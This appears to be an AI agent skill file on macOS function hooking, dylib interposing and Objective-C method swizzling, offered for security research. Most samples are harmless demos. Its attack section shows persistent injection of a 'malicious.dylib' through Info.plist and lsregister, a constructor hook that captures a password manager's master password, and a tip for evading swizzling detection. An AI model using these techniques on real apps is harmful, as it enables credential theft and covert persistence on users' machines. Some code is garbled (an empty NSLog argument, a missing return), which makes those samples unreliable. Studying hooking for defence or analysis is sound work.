| name | macos-function-hooking |
| description | macOS function hooking and method swizzling for security research. Use this skill whenever you need to intercept function calls, hook Objective-C methods, analyze binary behavior, or understand macOS runtime manipulation. Trigger this for any task involving dylib injection, function interposing, method swizzling, or runtime code interception on macOS. |
macOS Function Hooking
A skill for understanding and implementing function hooking techniques on macOS for security research and binary analysis.
When to Use This Skill
Use this skill when you need to:
- Intercept and modify function calls in macOS applications
- Hook Objective-C methods for runtime analysis
- Create dylibs for function interposing
- Understand macOS dynamic linking and runtime behavior
- Perform security research on macOS applications
- Analyze how applications handle sensitive data at runtime
Function Interposing
Function interposing allows you to replace one function with another at the dynamic linker level using the __interpose section.
Basic Interpose Setup
- Create a dylib with interpose section
- Define replacement and original function pointers
- Inject using
DYLD_INSERT_LIBRARIES
Interpose Example
Create interpose.c:
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct {
const void *replacement;
const void *replacee;
} _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = {
(const void *)(unsigned long)&my_printf,
(const void *)(unsigned long)&printf
};
Create a test program hello.c:
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
Run with injection:
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Alternative Interpose Macro
Use this cleaner macro approach:
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...) {
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf, printf);
Debug Interposing
Use DYLD_PRINT_INTERPOSING to debug:
DYLD_PRINT_INTERPOSING=1 DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Dynamic Interposing
For runtime interposing (after process starts):
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);
Method Swizzling
Method swizzling modifies Objective-C method implementations at runtime using the Objective-C runtime API.
Understanding Objective-C Messages
Objective-C method calls use objc_msgSend:
int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(
someObject,
@selector(method1p1:p2:),
value1,
value2
);
Accessing Method Information
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"Class name: %s", class_getName(strClass));
SEL sel = @selector(length);
Method m = class_getInstanceMethod(strClass, sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
return 0;
}
Swizzling with method_exchangeImplementations
This swaps two method implementations:
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation called");
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
}
return 0;
}
Swizzling with method_setImplementation
This replaces one method's implementation directly:
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation called");
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
Class stringClass = [NSString class];
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
IMP swizzledIMP = method_getImplementation(
class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))
);
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(, subString);
method_setImplementation(originalMethod, original_substringFromIndex);
}
;
}
Hooking Attack Methodology
Injection Vectors
- DYLD_INSERT_LIBRARIES environment variable
- Info.plist modification (for signed apps)
- Dylib process injection via task port
Modifying App Info.plist
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/path/to/malicious.dylib</string>
</dict>
Then re-register:
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
Library Constructor Hooking
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) {
NSLog(@"[+] Password captured: %@", password);
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
Important Considerations
Limitations
- DYLD_INSERT_LIBRARIES only works on unprotected binaries
- System Integrity Protection (SIP) blocks injection on protected processes
- Stripping app signatures may prevent execution on newer macOS versions
- Interposing doesn't work with shared library cache
Detection Risks
- Method name verification can detect swizzling
- Some apps check for hooking indicators
- Use
method_setImplementation over method_exchangeImplementations to avoid detection
Best Practices
- Always store original IMP before overwriting
- Call original implementation to maintain functionality
- Use library constructors for automatic initialization
- Test on unprotected binaries first
- Document all modifications for reproducibility
References
Tools
Use these scripts for common tasks:
compile_interpose.sh - Compile interpose dylibs
compile_swizzle.sh - Compile swizzle code
test_hook.sh - Test hook injection